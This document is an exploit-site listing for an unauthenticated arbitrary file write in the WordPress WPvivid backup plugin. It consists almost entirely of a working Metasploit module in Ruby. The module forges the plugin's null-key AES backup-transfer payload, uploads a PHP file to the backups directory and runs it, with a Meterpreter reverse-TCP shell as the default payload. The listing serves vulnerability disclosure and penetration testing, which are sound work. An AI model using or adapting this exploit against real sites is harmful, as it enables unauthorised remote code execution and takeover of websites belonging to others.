Sploitus

Exploit for πŸ“„ WordPress WPvivid 0.9.123 Arbitrary File Write

packetstorm Β· 2026-03-17

Exploit Code

ruby287 lines
## https://sploitus.com/exploit?id=PACKETSTORM:217247
=============================================================================================================================================
    | # Title     : WPvivid 0.9.123 Backup Plugin Unauthenticated File Write                                                                    |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore                                                            |
    =============================================================================================================================================
    
    [+] Summary    : This Metasploit module exploits an unauthenticated arbitrary file write vulnerability in the WPvivid Backup Plugin used in WordPress websites.
                     The vulnerability allows an attacker to send a specially crafted encrypted payload to the vulnerable endpoint using the parameter wpvivid_action=send_to_site. 
    				 The plugin processes the payload using AES-128-CBC encryption with a null key and IV, allowing attackers to mimic legitimate backup transfer traffic.
    
    [+] The module performs the following steps:
    
    Payload Generation
    
    Constructs a JSON object containing:
    
    file name
    
    offset
    
    base64-encoded file content
    
    file size
    
    MD5 checksum
    
    Encrypts the JSON using AES-128-CBC with a null key and IV.
    
    Wraps the encrypted blob with WPvivid’s expected format and encodes it in Base64.
    
    Payload Delivery
    
    Sends the crafted payload via an HTTP POST request to the target WordPress site.
    
    Uses the parameters:
    
    wpvivid_action
    
    wpvivid_content.
    
    File Upload
    
    If successful, the plugin writes the supplied file into:
    
    /wp-content/wpvividbackups/
    
    Verification
    
    The module optionally checks whether the uploaded file is accessible via HTTP.
    
    Remote Code Execution
    
    If the uploaded file is a PHP payload (for example a Meterpreter stager), it can be executed remotely.
    			  
    [+] POC   : 
    
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    ##
    
    require 'json'
    require 'openssl'
    require 'digest'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = NormalRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
    
      NULL_KEY = "\x00" * 16
      NULL_IV  = "\x00" * 16
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'WordPress WPVivid Plugin Unauthenticated File Write',
            'Description' => %q{
              Exploits an unauthenticated file write vulnerability in the
              WordPress WPVivid Backup plugin.
            },
            'Author' => [
              'indoushka'
            ],
            'License' => MSF_LICENSE,
            'Platform' => 'php',
            'Arch' => ARCH_PHP,
            'Targets' =>
            [
              [
                'PHP In-Memory Payload',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP,
                  'DefaultOptions' =>
                  {
                    'PAYLOAD' => 'php/meterpreter/reverse_tcp'
                  }
                }
              ]
            ],
            'Privileged' => false,
            'DisclosureDate' => '2024-01-01',
            'DefaultTarget' => 0
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Base WordPress path', '/']),
            OptString.new('FILENAME', [false, 'Filename to write', '']),
            OptString.new('PAYLOAD_CONTENT', [false, 'Custom PHP payload', '<?php phpinfo(); ?>']),
            OptBool.new('VERIFY', [true, 'Verify file write', true]),
            OptInt.new('HTTP_TIMEOUT', [true, 'HTTP timeout', 3])
          ]
        )
      end
    
      def http_timeout
        datastore['HTTP_TIMEOUT']
      end
    
      def generate_wpvivid_payload(filename, content)
    
        file_md5 = Digest::MD5.hexdigest(content)
    
        json_obj =
        {
          'name' => filename,
          'offset' => 0,
          'data' => Rex::Text.encode_base64(content),
          'file_size' => content.length,
          'md5' => file_md5
        }
    
        json_str = json_obj.to_json
    
        cipher = OpenSSL::Cipher.new('AES-128-CBC')
        cipher.encrypt
        cipher.key = NULL_KEY
        cipher.iv  = NULL_IV
    
        encrypted = cipher.update(json_str) + cipher.final
    
        key_len_field   = '000'
        cipherlen_field = encrypted.length.to_s(16).rjust(16, '0').upcase
    
        blob = key_len_field + cipherlen_field + encrypted
    
        Rex::Text.encode_base64(blob)
      end
    
      def send_payload(payload)
    
        res = send_request_cgi(
          {
            'method' => 'POST',
            'uri'    => normalize_uri(target_uri.path),
            'vars_post' =>
            {
              'wpvivid_action'  => 'send_to_site',
              'wpvivid_content' => payload
            },
            'timeout' => http_timeout
          }
        )
    
        return false unless res
        return false unless res.code == 200
    
        begin
          json = res.get_json_document
          return true if json['result'] == 'success'
        rescue JSON::ParserError
        end
    
        false
      end
    
      def verify_file(filename)
    
        uri = normalize_uri(
          target_uri.path,
          'wp-content',
          'wpvividbackups',
          filename
        )
    
        res = send_request_cgi(
          {
            'method' => 'GET',
            'uri' => uri,
            'timeout' => http_timeout
          }
        )
    
        return false unless res
        return true if res.code == 200
    
        false
      end
    
      def check
    
        test_filename = "msf_#{Rex::Text.rand_text_alpha(5)}.txt"
        test_content  = Rex::Text.rand_text_alpha(10)
    
        payload = generate_wpvivid_payload(test_filename, test_content)
    
        if send_payload(payload)
    
          if verify_file(test_filename)
            register_file_for_cleanup(test_filename)
            return CheckCode::Vulnerable
          end
    
          return CheckCode::Appears
        end
    
        CheckCode::Safe
      end
    
      def exploit
    
        filename = datastore['FILENAME']
    
        if filename.blank?
          filename = "#{Rex::Text.rand_text_alpha(8)}.php"
        end
    
        content =
          if datastore['PAYLOAD'].start_with?('php/')
            payload.encoded
          else
            datastore['PAYLOAD_CONTENT']
          end
    
        print_status("Generating payload...")
    
        wpvivid_payload = generate_wpvivid_payload(filename, content)
    
        print_status("Sending payload...")
    
        unless send_payload(wpvivid_payload)
          fail_with(Failure::Unknown, 'Payload send failed')
        end
    
        print_good("Payload sent")
    
        if datastore['VERIFY']
    
          print_status("Verifying file...")
    
          if verify_file(filename)
    
            register_file_for_cleanup(filename)
    
            print_good("File uploaded successfully")
    
            uri = normalize_uri(
              target_uri.path,
              'wp-content',
              'wpvividbackups',
              filename
            )
    
            send_request_cgi(
              {
                'method' => 'GET',
                'uri' => uri,
                'timeout' => http_timeout
              }
            )
          else
            print_error("File not verified")
          end
        end
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================